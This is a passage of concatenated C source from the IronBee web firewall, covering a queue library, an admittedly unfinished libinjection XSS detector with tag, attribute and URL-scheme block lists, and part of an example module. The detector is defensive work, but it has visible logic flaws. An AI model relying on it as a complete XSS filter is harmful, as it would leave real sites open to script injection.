!= NULL); return ((void **)(queue->queue) + to_index(queue, offset)); } ib_status_t ib_queue_create( ib_queue_t **queue, ib_mm_t mm, ib_flags_t flags ) { assert(queue != NULL); ib_queue_t *q = (ib_queue_t *)ib_mm_alloc(mm, sizeof(*q)); ib_status_t rc; if (q == NULL) { return IB_EALLOC; } rc = ib_mpool_lite_create(&(q->mp)); if (rc != IB_OK) { return rc; } rc = ib_mm_register_cleanup(mm, queue_destroy, q); if (rc != IB_OK) { return rc; } q->allocation = DEFAULT_QUEUE_SIZE; q->size = 0; q->head = 0; q->flags = flags; q->queue = ib_mpool_lite_alloc(q->mp, sizeof(void *) * q->allocation); if (q->queue == NULL) { free(q); return IB_EALLOC; } *queue = q; return IB_OK; } /** * Take the given @a queue and repack its data into @a new_queue. * * When a queue backed by an array is resized, if it wraps from the * end to the beginning, that wrap point is necessarily different. Much * like resizing a hash, we must repack the data in the new queue. * * This implementation repacks the queue to index 0 so the * repacked queue does not wrap and the head must be set to 0. * * The allocation of @a new_queue must be less than ib_queue_t::size. * * @param[in] queue The queue to repack. * @param[out] new_queue The repacked queue. */ static void repack( ib_queue_t *queue, void *new_queue ) { /* If true, then the queue wraps around the end of the array. */ if (queue->allocation - queue->head < queue->size) { size_t size_1 = queue->allocation - queue->head; size_t size_2 = queue->size - size_1; /* Copy the unwrapped half. */ memcpy(new_queue, to_addr(queue, 0), sizeof(void *) * size_1); /* Copy the wrapped half. */ memcpy( (void **)new_queue + size_1, queue->queue, sizeof(void *) * size_2); } /* The queue does not wrap. Simple copy case. */ else { memcpy(new_queue, to_addr(queue, 0), sizeof(void *) * queue->size); } } /** * Resize the queue. * * The allocation must not be less than ib_queue_t::size or this will corrupt * memory. */ static ib_status_t resize( ib_queue_t *queue, size_t new_size ) { assert(queue != NULL); assert(new_size >= queue->size); ib_mpool_lite_t *new_mp; void *new_queue; ib_status_t rc; rc = ib_mpool_lite_create(&new_mp); if (rc != IB_OK) { return rc; } new_queue = ib_mpool_lite_alloc(new_mp, sizeof(void *) * new_size); if (new_queue == NULL) { ib_mpool_lite_destroy(new_mp); return IB_EALLOC; } repack(queue, new_queue); ib_mpool_lite_destroy(queue->mp); queue->head = 0; queue->queue = new_queue; queue->mp = new_mp; queue->allocation = new_size; return IB_OK; } /** * Shrink the queue by half unless prevented from doing so. * * - If IB_QUEUE_NEVER_SHRINK is set, no action is taken. * - If the queue is too small (allocation=1), no action is taken. * * @param[in] queue The queue to halve in allocation. * @returns * - IB_OK On success. * - IB_EALLOC On allocation errors. */ static ib_status_t shrink( ib_queue_t *queue ) { assert(queue != NULL); size_t new_size; ib_status_t rc; if (queue->flags & IB_QUEUE_NEVER_SHRINK) { return IB_OK; } new_size = (queue->allocation) / 2; /* Do nothing if the queue allocation is too small. */ if (new_size < DEFAULT_QUEUE_SIZE || new_size == 0) { return IB_OK; } rc = resize(queue, new_size); if (rc != IB_OK) { return rc; } return IB_OK; } /** * @param[in] queue The queue to double in allocation. * * @returns * - IB_OK On success. * - IB_EALLOC On allocation errors. * - IB_EINVAL If overflow is detected. */ static ib_status_t grow( ib_queue_t *queue ) { assert(queue != NULL); size_t new_size; ib_status_t rc; new_size = queue->allocation * 2; /* Guard against overflow. */ if (new_size < queue->allocation) { return IB_EINVAL; } rc = resize(queue, new_size); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_queue_push_back( ib_queue_t *queue, void *element ) { assert(queue != NULL); if (queue->size == queue->allocation) { ib_status_t rc = grow(queue); if (rc != IB_OK) { return IB_OK; } } *(void **)to_addr(queue, queue->size) = element; ++(queue->size); return IB_OK; } ib_status_t ib_queue_push_front( ib_queue_t *queue, void *element ) { assert(queue != NULL); if (queue->size == queue->allocation) { ib_status_t rc = grow(queue); if (rc != IB_OK) { return IB_OK; } } queue->head = (queue->head == 0)? queue->allocation - 1 : queue->head - 1; ++(queue->size); *(void **)to_addr(queue, 0) = element; return IB_OK; } ib_status_t ib_queue_pop_back( ib_queue_t *queue, void *element ) { assert(queue != NULL); assert(element != NULL); if (queue->size == 0) { return IB_ENOENT; } --(queue->size); *(void **)element = *(void **)to_addr(queue, queue->size); if (queue->size * 2 < queue->allocation) { ib_status_t rc = shrink(queue); if (rc != IB_OK) { return rc; } } return IB_OK; } ib_status_t ib_queue_pop_front( ib_queue_t *queue, void *element ) { assert(queue != NULL); assert(element != NULL); if (queue->size == 0) { return IB_ENOENT; } *(void **)element = *(void **)to_addr(queue, 0); queue->head = (queue->head == queue->allocation - 1)? 0 : queue->head + 1; --(queue->size); if (queue->size * 2 < queue->allocation) { ib_status_t rc = shrink(queue); if (rc != IB_OK) { return rc; } } return IB_OK; } ib_status_t ib_queue_peek( const ib_queue_t *queue, void *element ) { assert(queue != NULL); assert(element != NULL); if (queue->size == 0) { return IB_EINVAL; } *(void **)element = *(void **)to_addr(queue, 0); return IB_OK; } ib_status_t ib_queue_get( const ib_queue_t *queue, size_t index, void *element ) { assert(queue != NULL); assert(element != NULL); if (queue->size == 0 || queue->size <= index) { return IB_EINVAL; } *(void **)element = *(void **)to_addr(queue, index); return IB_OK; } ib_status_t ib_queue_set( ib_queue_t *queue, size_t index, void *element ) { assert(queue != NULL); if (queue->size == 0 || queue->size <= index) { return IB_EINVAL; } *(void **)to_addr(queue, index) = element; return IB_OK; } ib_status_t ib_queue_reserve( ib_queue_t *queue, size_t allocation ) { assert(queue != NULL); if (allocation < queue->size) { queue->size = allocation; } return resize(queue, allocation); } size_t ib_queue_size( const ib_queue_t *queue ) { assert(queue != NULL); return queue->size; } ib_status_t ib_queue_enqueue( ib_queue_t *queue, void *element ) { return ib_queue_push_back(queue, element); } ib_status_t ib_queue_dequeue( ib_queue_t *queue, void *element ) { return ib_queue_pop_front(queue, element); } ib_status_t ib_queue_dequeue_all_to_function( ib_queue_t *queue, ib_queue_element_fn_t fn, void *cbdata ) { assert(queue != NULL); ib_status_t rc; for (size_t i = 0; i < queue->size; ++i) { /* Get the element at index i. */ void *element = *(void **)to_addr(queue, i); /* Call the user's function. */ fn(element, cbdata); } /* Now shrink the queue to zero size. */ queue->size = 0; rc = resize(queue, DEFAULT_QUEUE_SIZE); if (rc != IB_OK) { return rc; } return IB_OK; } /** @} */
crustymonkey/ironbee
libs/libinjection/c/libinjection_xss.c
#include "libinjection_xss.h" #include "libinjection_html5.h" #include <assert.h> #include <stdio.h> /* * HEY THIS ISN'T DONE * AND MISSING A KEY INGREDIENT!! * */ typedef enum attribute { TYPE_NONE , TYPE_BLACK /* ban always */ , TYPE_ATTR_URL /* attribute value takes a URL-like object */ , TYPE_STYLE , TYPE_ATTR_INDIRECT /* attribute *name* is given in *value* */ } attribute_t; typedef struct stringtype { const char* name; attribute_t atype; } stringtype_t; /* * view-source: * data: * javascript: */ static stringtype_t BLACKATTR[] = { { "ACTION", TYPE_ATTR_URL } /* form */ , { "ATTRIBUTENAME", TYPE_ATTR_INDIRECT } /* SVG allow indirection of attribute names */ , { "BY", TYPE_ATTR_URL } /* SVG */ , { "BACKGROUND", TYPE_ATTR_URL } /* IE6, O11 */ , { "DATAFORMATAS", TYPE_BLACK } /* IE */ , { "DATASRC", TYPE_BLACK } /* IE */ , { "DYNSRC", TYPE_ATTR_URL } /* Obsolete img attribute */ , { "FILTER", TYPE_STYLE } /* Opera, SVG inline style */ , { "FORMACTION", TYPE_ATTR_URL } /* HTML5 */ , { "FOLDER", TYPE_ATTR_URL } /* Only on A tags, IE-only */ , { "FROM", TYPE_ATTR_URL } /* SVG */ , { "HANDLER", TYPE_ATTR_URL } /* SVG Tiny, Opera */ , { "HREF", TYPE_ATTR_URL } , { "LOWSRC", TYPE_ATTR_URL } /* Obsolete img attribute */ , { "POSTER", TYPE_ATTR_URL } /* Opera 10,11 */ , { "SRC", TYPE_ATTR_URL } , { "STYLE", TYPE_STYLE } , { "TO", TYPE_ATTR_URL } /* SVG */ , { "VALUES", TYPE_ATTR_URL } /* SVG */ , { "XLINK:HREF", TYPE_ATTR_URL } , { NULL, TYPE_NONE } }; /* xmlns */ /* xml-stylesheet > <eval>, <if expr=> */ /* static const char* BLACKATTR[] = { "ATTRIBUTENAME", "BACKGROUND", "DATAFORMATAS", "HREF", "SCROLL", "SRC", "STYLE", "SRCDOC", NULL }; */ static const char* BLACKTAG[] = { "APPLET" /* , "AUDIO" */ , "BASE" , "EMBED" /* , "FORM" */ , "FRAME" , "FRAMESET" , "HANDLER" /* Opera SVG, effectively a script tag */ , "IFRAME" , "IMPORT" , "ISINDEX" , "LINK" , "LISTENER" /* , "MARQUEE" */ , "META" , "NOSCRIPT" , "OBJECT" , "SCRIPT" , "STYLE" /* , "VIDEO" */ , "VMLFRAME" , "XML" , NULL }; static int is_black_tag(const char* s, size_t len); static attribute_t is_black_attr(const char* s, size_t len); static int is_black_url(const char* s, size_t len); static int cstrcasecmp_with_null(const char *a, const char *b, size_t n); static int cstrcasecmp_with_null(const char *a, const char *b, size_t n) { char cb; for (; n > 0; a++, b++, n--) { cb = *b; if (cb == '\0') continue; if (cb >= 'a' && cb <= 'z') { cb -= 0x20; } if (*a != cb) { return *a - cb; } else if (*a == '\0') { return -1; } } return (*a == 0) ? 0 : 1; } static int is_black_tag(const char* s, size_t len) { const char** black; if (len < 3) { return 0; } black = BLACKTAG; while (*black != NULL) { if (cstrcasecmp_with_null(*black, s, len) == 0) { return 1; } black += 1; } /* anything SVG related */ if ((s[0] == 's' || s[0] == 'S') && (s[1] == 'v' || s[1] == 'V') && (s[2] == 'g' || s[2] == 'G')) { return 1; } /* Anything XSL(t) related */ if ((s[0] == 'x' || s[0] == 'X') && (s[1] == 's' || s[1] == 'S') && (s[2] == 'l' || s[2] == 'L')) { return 1; } return 0; } static attribute_t is_black_attr(const char* s, size_t len) { stringtype_t* black; if (len < 2) { return TYPE_NONE; } /* javascript on.* */ if ((s[0] == 'o' || s[0] == 'O') && (s[1] == 'n' || s[1] == 'N')) { return TYPE_BLACK; } if (len >= 5) { /* XMLNS can be used to create arbitrary tags */ if (cstrcasecmp_with_null("XMLNS", s, 5) == 0 || cstrcasecmp_with_null("XLINK", s, 5) == 0) { return TYPE_BLACK; } } black = BLACKATTR; while (black->name != NULL) { if (cstrcasecmp_with_null(black->name, s, len) == 0) { return black->atype; } black += 1; } return TYPE_NONE; } static int is_black_url(const char* s, size_t len) { static const char* data_url = "DATA"; static const char* viewsource_url = "VIEW-SOURCE"; /* obsolete but interesting signal */ static const char* vbscript_url = "VBSCRIPT"; /* covers JAVA, JAVASCRIPT, + colon */ static const char* javascript_url = "JAVA"; size_t tokenlen; /* skip whitespace */ while (len > 0) { /* * HEY: this is a signed character. * We are intentionally skipping high-bit characters too * since they are not ascii, and Opera sometimes uses UTF8 whitespace */ if (*s <= 32) { ++s; --len; } break; } tokenlen = strlen(data_url); if (len > tokenlen && cstrcasecmp_with_null(data_url, s, tokenlen) == 0) { return 1; } tokenlen = strlen(viewsource_url); if (len > tokenlen && cstrcasecmp_with_null(viewsource_url, s, tokenlen) == 0) { return 1; } tokenlen = strlen(javascript_url); if (len > tokenlen && cstrcasecmp_with_null(javascript_url, s, tokenlen) == 0) { return 1; } tokenlen = strlen(vbscript_url); if (len > tokenlen && cstrcasecmp_with_null(vbscript_url, s, tokenlen) == 0) { return 1; } return 0; } int libinjection_is_xss(const char* s, size_t len) { h5_state_t h5; attribute_t attr = TYPE_NONE; libinjection_h5_init(&h5, s, len, 0); while (libinjection_h5_next(&h5)) { if (h5.token_type != ATTR_VALUE) { attr = TYPE_NONE; } if (h5.token_type == DOCTYPE) { return 1; } else if (h5.token_type == TAG_NAME_OPEN) { if (is_black_tag(h5.token_start, h5.token_len)) { return 1; } } else if (h5.token_type == ATTR_NAME) { attr = is_black_attr(h5.token_start, h5.token_len); } else if (h5.token_type == ATTR_VALUE) { /* * IE6,7,8 parsing works a bit differently so * a whole <script> or other black tag might be hiding * inside an attribute value under HTML5 parsing * See http://html5sec.org/#102 * to avoid doing a full reparse of the value, just * look for "<". This probably need adjusting to * handle escaped characters */ /* if (memchr(h5.token_start, '<', h5.token_len) != NULL) { return 1; } */ switch (attr) { case TYPE_NONE: break; case TYPE_BLACK: return 1; case TYPE_ATTR_URL: if (is_black_url(h5.token_start, h5.token_len)) { return 1; } break; case TYPE_STYLE: return 1; case TYPE_ATTR_INDIRECT: /* an attribute name is specified in a _value_ */ if (is_black_attr(h5.token_start, h5.token_len)) { return 1; } break; /* default: assert(0); */ } attr = TYPE_NONE; } else if (h5.token_type == TAG_COMMENT) { /* IE uses a "`" as a tag ending char */ if (memchr(h5.token_start, '`', h5.token_len) != NULL) { return 1; } /* IE conditional comment */ if (h5.token_len > 3) { if (h5.token_start[0] == '[' && (h5.token_start[1] == 'i' || h5.token_start[1] == 'I') && (h5.token_start[2] == 'f' || h5.token_start[2] == 'F')) { return 1; } if ((h5.token_start[0] == 'x' || h5.token_start[1] == 'X') && (h5.token_start[1] == 'm' || h5.token_start[1] == 'M') && (h5.token_start[2] == 'l' || h5.token_start[2] == 'L')) { return 1; } } if (h5.token_len > 5) { /* IE <?import pseudo-tag */ if (cstrcasecmp_with_null("IMPORT", h5.token_start, 6) == 0) { return 1; } /* XML Entity definition */ if (cstrcasecmp_with_null("ENTITY", h5.token_start, 6) == 0) { return 1; } } } } return 0; }
crustymonkey/ironbee
example_modules/ibmod_set_c.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Example Module: Set (C Version) * * This file is the C implementation of the Set example module. There is * also a C++ (ibmod_set.cpp) implementation. * * @par Summary * This module provides set membership of named sets. It is similar * to the `@match` and `@imatch` operators except that sets are defined * outside of rules via directives rather than inline as arguments to the * operator. Defining sets via directives is superior when sets will be * reused across multiple rules. * * @par Operators * - `@set_match set` -- True iff input is in set named `set`. Supports * streaming and non-streaming rules as well as NULL input but does not * capture. * * @par Directives * - `SetDefine set member1...` -- Create a case sensitive set named `set` * with members given by later arguments. * - `SetDefineInsensitive set member1...` -- As `SetDefine` but case * insensitive. * - `SetDefineFromFile set path` -- As `SetDefine` but members are read * from file at `path`, one item per line. * - `SetDefineInsensitiveFromFile` -- As `SetDefineFromFile` but case * insensitive. * * @par Configuration * - `Set set.debug 1` -- Turn on debugging information for the current * context. Will log every membership query. * * @par Note * The operator has access to all the sets defined in its context and any * ancestor context. It does not have access to sets defined in other * contexts. Similarly, it is an error to create a new set with the same * name as a set in current context or any ancestor context, but not an error * to create a set with the same name as a set in other contexts. * * @par C specific comments * - This implementation uses `ib_hash_t` with trivial (`(void *)1`) values * as the underlying datastructure. It uses memory pools to manage its * state lifetime. * - The C API makes heavy use of callback functions. All callbacks are a * pair of a C function pointer and a `void *` pointer known as the * "callback data". The callback data is always passed to the callback * functions as the final argument. Callback data allows a single C * function to be used in multiple callbacks, distinguished by the callback * data, and allows data to be transmitted from the registration location * to the execution location. The C++ API makes heavy use of callback data * to trampoline the C callbacks to C++ functionals. * - The C module definition code centers around carefully constructed static * structures that are passed to the engine when the module loads. This * approach makes simple cases easy as demonstrated in this module. More * complex behavior, however, requires programmatic setup in the * initialization function. * - Comprehensible errors, such as incorrect user usage, are handled. Other * errors are simply asserted. They represent either a misunderstanding of * the API or unrecoverable engine problems. * * @author <NAME> <<EMAIL>> */ /* See `man 7 feature_test_macros` on certain Linux flavors. */ #define _POSIX_C_SOURCE 200809L /* IronBee has a canonical header order, exemplified in this module. It is * not required for third party development. * * Headers are divided into sections, more or less: * * - The autoconf config file containing information about configure. * - For implementation files, the public header file. * - Any corresponding private header file. * - Headers for the framework the current file is party of. * - IronBee++ * - IronBee * - Third party libraries, e.g., boost. * - Standard library. * * Within each section, includes are arranged alphabetically. * * The order is, more or less, specific to general and is arranged as such to * increase the chance of catching missing includes. */ #include <ironbee/context.h> #include <ironbee/engine.h> #include <ironbee/engine_state.h> #include <ironbee/hash.h> #include <ironbee/module.h> #include <assert.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #ifdef NDEBUG #warning "NDEBUG is inappropriate. Disabling." #undef NDEBUG #endif /** Name of module */ #define MODULE_NAME set /** MODULE_NAME as string */ #define MODULE_NAME_STR IB_XSTRINGIFY(MODULE_NAME) /** The public module symbol */ IB_MODULE_DECLARE(); /** * Per-Configuration Context Data * * A @ref per_context_t will be created for each configuration context and * will hold module data specific to that context. The first one will be * created as a copy of @ref c_per_context_initial. Later ones will be * created as copies of the parent's @ref per_context_t. * * The function `ctx_open()` will be called at the beginning of every * context. It will create a new hash, copy the existing (parent's) @c sets * member into the new hash, and then set the @c sets member to the new hash. * In this way, each child will know of all the sets of its parent but any * sets it defines will not be added to the parents @c sets hash. **/ typedef struct { /** * Index of set by set name. * * Value type will be: `const ib_hash_t *` * * This hash, but not the hashes its values point to, will be duplicated * for children. Thus children can access sets defined in parent contexts * but not those defined in sibling or child contexts. **/ ib_hash_t *sets; /** * If 1, log queries. * * This member is an @ref ib_num_t in order to interact with the * configuration map code. The configuration map code makes it easy for * module writers to expose members of their per-context data to the * configuration language. However, doing so requires that those members * have types based on the field code. * * @sa field.h * @sa cfgmap.h **/ ib_num_t debug; } per_context_t; /** * Per-Operator Instance data. * * Every time the `set_member` operator is used in a rule, operator_create() * will be called. It will construct and populate one of these structures * which will then be stored by the engine. When the rule is evaluated, * operator_execute() will be called and provided with the this structure. **/ typedef struct { /** * The set to check membership in. * * Values are invalid pointers and should be ignored. **/ const ib_hash_t *set; /** * Whether to log queries. * * This member will be true iff per_context_t::debug is 1 for the context * the operator was created in at operator creation. **/ bool debug; /** * Name of set. * * Used for query logging. **/ const char *set_name; } per_operator_t; /** * @name Helper Functions * * These functions are used by other functions. */ /*@{*/ /** * Fetch per-context data. * * Helper function to fetch the per-context data for a context. * * @param[in] ctx Context to fetch for. * @return Per context data. **/ static per_context_t *fetch_per_context(ib_context_t *ctx); /** * Define a set. * * Helper function to define a set. This function is intended to be called * as the final part one of the set defining directives. * * @param[in] cp Configuration parser. This parameter is used * to log errors in a manner that also reports the * configuration line that caused the error. It * also provides access to the IronBee engine. * @param[in] case_insensitive If true, create a case insensitive set. * @param[in] directive_name Name of directive defining set. Used for * better log messages. * @param[in] set_name Name of set to define. * @param[in] items Items, as a list node. Using a list node * rather than a list makes it easy to forward * the tail of a list of parameters. * @return * - IB_OK on success. * - IB_EOTHER on if a set with same name already exists. **/ static ib_status_t define_set( ib_cfgparser_t *cp, bool case_insensitive, const char *directive_name, const char *set_name, const ib_list_node_t *items ); /*@}*/ /** * @name Callbacks * * These functions are called by the IronBee engine. */ /*@{*/ /** * Initialize module. * * Called at module initialization. In this module we will initialize the * per-context data for the main context and tell the engine about the * operator. These two items are all this module uses initialization for, * but other common uses are: * * - Register directives. This module uses a directive map to register * directives, but it could instead register them here, if, e.g., it wanted * to set up complex callback data. * - Register per-context data. This module has simple per-context data and * can simply provide the initial value to IB_MODULE_INIT(). More complex * modules could register the per-context data during initialization with * ib_module_config_initialize(). * - Register hook callbacks. Modules can register callbacks to be called * at state transitions as the engine processes traffic. * - Set up module state. * * @param[in] ib IronBee engine. * @param[in] m This module. * @param[in] cbdata Callback data; unused. * @return * - IB_OK on success. * - IB_EOTHER if an operator named @c set_member already exists. **/ static ib_status_t init( ib_engine_t *ib, ib_module_t *m, void *cbdata ); /** * Handle @c SetDefine and @c SetDefineInsensitive directives. * * @param[in] cp Configuration parser representing state of configuration * handling. Can be used to access engine or report errors. * @param[in] name Name of directive. * @param[in] params List of `const char *` representing parameters to * directive. * @param[in] cbdata Callback data; case insensitive iff non-NULL. * @return * - IB_OK on success. * - IB_EINVAL if less than two parameters provided. **/ static ib_status_t dir_define( ib_cfgparser_t *cp, const char *name, const ib_list_t *params, void *cbdata ); /** * Handle @c SetDefineFromFile and @c SetDefineInsensitiveFromFile directives. * * @param[in] cp Configuration parser representing state of * configuration handling. Can be used to access engine * or report errors. * @param[in] name Name of directive. * @param[in] set_name Name of set. First parameter to directive. * @param[in] path Path to file of items. Second parameter to directive. * @param[in] cbdata Callback data; case insensitive iff non-NULL. * @return * - IB_OK on success. * - IB_EINVAL on file system error. **/ static ib_status_t dir_define_from_file( ib_cfgparser_t *cp, const char *name, const char *set_name, const char *path, void *cbdata ); /** * Handle creation of a @c set_member instance. * * This callback is called every time the @c set_member operator in * instantiated. It is responsible for setting up the data needed to execute * the operator and returning a pointer to that data via @a instance_data. * * The canonical example of operator instantiation is when the operator is * is used in a rule. However, there are other possibilities such as the * `operator` call in Predicate. * * It will create and set up a @ref per_operator_t. * * @param[in] ctx Configuration context of operator. * @param[in] mm Memory manager. * @param[in] set_name Name of set to check membership in. * @param[out] instance_data Instance data; will be a @ref per_operator_t. * @param[in] cbdata Callback data; not used. * @return IB_OK **/ static ib_status_t operator_create( ib_context_t *ctx, ib_mm_t mm, const char *set_name, void *instance_data, void *cbdata ); /** * Handle execution of a @c set_member instance. * * This callback is called when the @c set_member operator is executed. It is * provided with the instance data produced by operator_create(). * * It will interpret @a field as a bytestring and check for membership in the * set defined in @a instance_data and output whether a match is found to * @a result. * * @param[in] tx Current transaction. * @param[in] field Input to operator. * @param[in] capture Collection to store captured data in. * @c set_member does not support capture and * ignores this parameter. It can be used to store * output beyond the result. * @param[out] result Result of operator. 1 = true, 0 = false. * @param[in] instance_data Instance data produced by operator_create(). * @param[in] cbdata Callback data; ignored. * @return * - IB_OK on success. * - IB_EINVAL if @a field is not a bytestring field. **/ static ib_status_t operator_execute( ib_tx_t *tx, const ib_field_t *field, ib_field_t *capture, ib_num_t *result, void *instance_data, void *cbdata ); /** * Called at open of every configuration context. * * This callback is called at the beginning of every configuration context * during configuration parsing. This module uses it to set up the * per-context data. * * Note that, as modules are loaded after the main context is opened, this * function will never be called for the main context. Per-context data for * the main context is handled in init(). * * It will create a new hash for per_context_t::sets and copy the parent's * sets into it. * * @param[in] ib IronBee engine. * @param[in] ctx Current configuration context. * @param[in] state Which state we entered. * @param[in] cbdata Callback data; unused. * * @return IB_OK **/ static ib_status_t context_open( ib_engine_t *ib, ib_context_t *ctx, ib_state_t state, void *cbdata ); /*@}*/ /** * @name Initialization Statics * * These static variables are used to initialize the module. They should * never be used to hold varying state, only to provide configuration. */ /*@{*/ /** Initial value for per-context data. */ static per_context_t c_per_context_initial = { NULL, /* sets */ 0 /* debug */ }; /** * Configuration map. * * The configuration map is a static variable that is provided to * IB_MODULE_INIT() to automatically connect fields of the per-context data * to configuration settings. Settings can be set in configuration, e.g., * * @code * Set set.debug 1 * @endcode * * Configuration maps work through fields (see field.h) and thus require the * members they access to be field types. Thus, per_context_t::debug is an * @ref ib_num_t instead of a @c bool. **/ static IB_CFGMAP_INIT_STRUCTURE(c_config_map) = { IB_CFGMAP_INIT_ENTRY( MODULE_NAME_STR ".debug", IB_FTYPE_NUM, per_context_t, debug ), IB_CFGMAP_INIT_LAST }; /** * Directive map. * * The directive map is a static variable that is provided to IB_MODULE_INIT() * to automatically register directives. It is also possible to register * directive during module initialization via ib_config_register_directive(). * This latter approach is useful, e.g., if complex callback data is needed. * * The use of `(void *)1` below is used to indicate case insensitivity, i.e., * case insensitive iff callback data is non-NULL. **/ static IB_DIRMAP_INIT_STRUCTURE(c_directive_map) = { IB_DIRMAP_INIT_LIST( "SetDefine", dir_define, NULL ), IB_DIRMAP_INIT_LIST( "SetDefineInsensitive", dir_define, (void *)1 ), IB_DIRMAP_INIT_PARAM2( "SetDefineFromFile", dir_define_from_file, NULL ), IB_DIRMAP_INIT_PARAM2( "SetDefineInsensitiveFromFile", dir_define_from_file, (void *)1 ), IB_DIRMAP_INIT_LAST }; /*@}*/ /** * Module initialization. * * This macro sets up the standard interface that IronBee uses to load * modules. At minimum, it requires the module name and initialization * function. In this module, we also provide information about the * per-context data, configuration map, directive map, and a context open * handler. **/ IB_MODULE_INIT( IB_MODULE_HEADER_DEFAULTS, /* Default metadata */ MODULE_NAME_STR, /* Module name */ IB_MODULE_CONFIG(&c_per_context_initial), /* Per context data. */ c_config_map, /* Configuration map */ c_directive_map, /* Directive map */ init, NULL, /* On initialize */ NULL, NULL, /* On finish */ ); /* Finished with declarations. Remainder of file is definitions. */ /* Helpers Implementation */ static per_context_t *fetch_per_context(ib_context_t *ctx) { assert(ctx != NULL); ib_status_t rc; per_context_t *per_context = NULL; ib_module_t *module = NULL; rc = ib_engine_module_get( ib_context_get_engine(ctx), MODULE_NAME_STR, &module ); assert(rc == IB_OK); rc = ib_context_module_config(ctx, module, &per_context); assert(rc == IB_OK); return per_context; } static ib_status_t define_set( ib_cfgparser_t *cp, bool case_insensitive, const char *directive_name, const char *set_name, const ib_list_node_t *items ) { assert(cp != NULL); assert(directive_name != NULL); assert(set_name != NULL); assert(items != NULL); ib_status_t rc; ib_context_t *ctx = NULL; per_context_t *per_context = NULL; ib_hash_t *set = NULL; ib_mm_t mm; mm = ib_engine_mm_main_get(cp->ib); rc = ib_cfgparser_context_current(cp, &ctx); assert(rc == IB_OK); assert(ctx != NULL); per_context = fetch_per_context(ctx); assert(per_context != NULL); assert(per_context->sets != NULL); rc = ib_hash_get(per_context->sets, NULL, set_name); if (rc == IB_OK) { ib_cfg_log_error( cp, "%s tried to define an already existent set: %s", directive_name, set_name ); return IB_EOTHER; } assert(rc == IB_ENOENT); if (case_insensitive) { rc = ib_hash_create_nocase(&set, mm); } else { rc = ib_hash_create(&set, mm); } assert(rc == IB_OK); assert(set != NULL); for ( const ib_list_node_t *n = items; n != NULL; n = ib_list_node_next_const(n) ) { const char *item = ib_list_node_data_const(n); rc = ib_hash_set(set, ib_mm_strdup(mm, item), (void *)1); assert(rc == IB_OK); } rc = ib_hash_set(per_context->sets, set_name, set); assert(rc == IB_OK); return IB_OK; } /* Callbacks Implementation */ static ib_status_t init( ib_engine_t *ib, ib_module_t *m, void *cbdata ) { assert(ib != NULL); assert(m != NULL); ib_status_t rc; per_context_t *per_context = NULL; ib_mm_t mm; /* Set up main context data. */ per_context = fetch_per_context(ib_context_main(ib)); assert(per_context != NULL); assert(per_context->sets == NULL); mm = ib_engine_mm_main_get(ib); rc = ib_hash_create(&per_context->sets, mm); assert(rc == IB_OK); assert(per_context->sets != NULL); /* Register context open callback to handle per context data copying. */ ib_hook_context_register( ib, context_open_state, context_open, NULL ); /* Register operator */ rc = ib_operator_create_and_register( NULL, ib, "set_member", IB_OP_CAPABILITY_ALLOW_NULL, operator_create, NULL, NULL, NULL, operator_execute, NULL ); if (rc == IB_EINVAL) { ib_log_error(ib, "Operator set_member already exists. Double load?"); return IB_EOTHER; } return IB_OK; } static ib_status_t dir_define( ib_cfgparser_t *cp, const char *name, const ib_list_t *params, void *cbdata ) { assert(cp != NULL); assert(name != NULL); assert(params != NULL); bool case_insensitive = (cbdata != NULL); const ib_list_node_t *param_node = NULL; const char *set_name = NULL; if (ib_list_elements(params) < 2) { ib_cfg_log_error(cp, "%s requires 2 or more arguments.", name); return IB_EINVAL; } param_node = ib_list_first_const(params); assert(param_node != NULL); set_name = ib_list_node_data_const(param_node); param_node = ib_list_node_next_const(param_node); /* Forward to define_set() */ return define_set( cp, case_insensitive, name, set_name, param_node ); } static ib_status_t dir_define_from_file( ib_cfgparser_t *cp, const char *name, const char *set_name, const char *path, void *cbdata ) { assert(cp != NULL); assert(name != NULL); assert(set_name != NULL); assert(path != NULL); ib_status_t rc; bool case_insensitive = (cbdata != NULL); FILE *fp = NULL; char *buffer = NULL; size_t buffer_size = 0; ib_list_t *items = NULL; ib_mm_t mm; mm = ib_engine_mm_main_get(cp->ib); fp = fopen(path, "r"); if (fp == NULL) { ib_cfg_log_error( cp, "%s unable to open file %s", name, path ); return IB_EINVAL; } rc = ib_list_create(&items, mm); assert(rc == IB_OK); assert(items != NULL); for (;;) { char *buffer_copy; int read = getline(&buffer, &buffer_size, fp); if (read == -1) { if (! feof(fp)) { ib_cfg_log_error( cp, "%s had error reading from file %s: %d", name, path, errno ); fclose(fp); return IB_EINVAL; } else { break; } } buffer_copy = ib_mm_memdup(mm, buffer, read); assert(buffer_copy != NULL); while (buffer_copy[read-1] == '\n' || buffer_copy[read-1] == '\r') { buffer_copy[read-1] = '\0'; --read; } rc = ib_list_push(items, (void *)buffer_copy); assert(rc == IB_OK); } fclose(fp); /* Forward to define_set() */ return define_set( cp, case_insensitive, name, set_name, ib_list_first_const(items) ); } static ib_status_t operator_create( ib_context_t *ctx, ib_mm_t mm, const char *set_name, void *instance_data, void *cbdata ) { assert(ctx != NULL); assert(set_name != NULL); assert(instance_data != NULL); ib_status_t rc; const per_context_t *per_context = NULL; const ib_hash_t *set = NULL; per_operator_t *per_operator = NULL; per_context = fetch_per_context(ctx); assert(per_context != NULL); rc = ib_hash_get(per_context->sets, &set, set_name); assert(rc == IB_OK); assert(set != NULL); per_operator = ib_mm_alloc(mm, sizeof(*per_operator)); assert(per_operator != NULL); per_operator->debug = (per_context->debug != 0); per_operator->set = set; per_operator->set_name = ib_mm_strdup(mm, set_name); assert(per_operator->set_name != NULL); *(per_operator_t **)instance_data = per_operator; return IB_OK; } ib_status_t operator_execute( ib_tx_t *tx, const ib_field_t *field, ib_field_t *capture, ib_num_t *result, void *instance_data, void *cbdata ) { assert(tx != NULL); assert(instance_data != NULL); assert(result != NULL); ib_status_t rc; const per_operator_t *per_operator = NULL; const ib_bytestr_t *input = 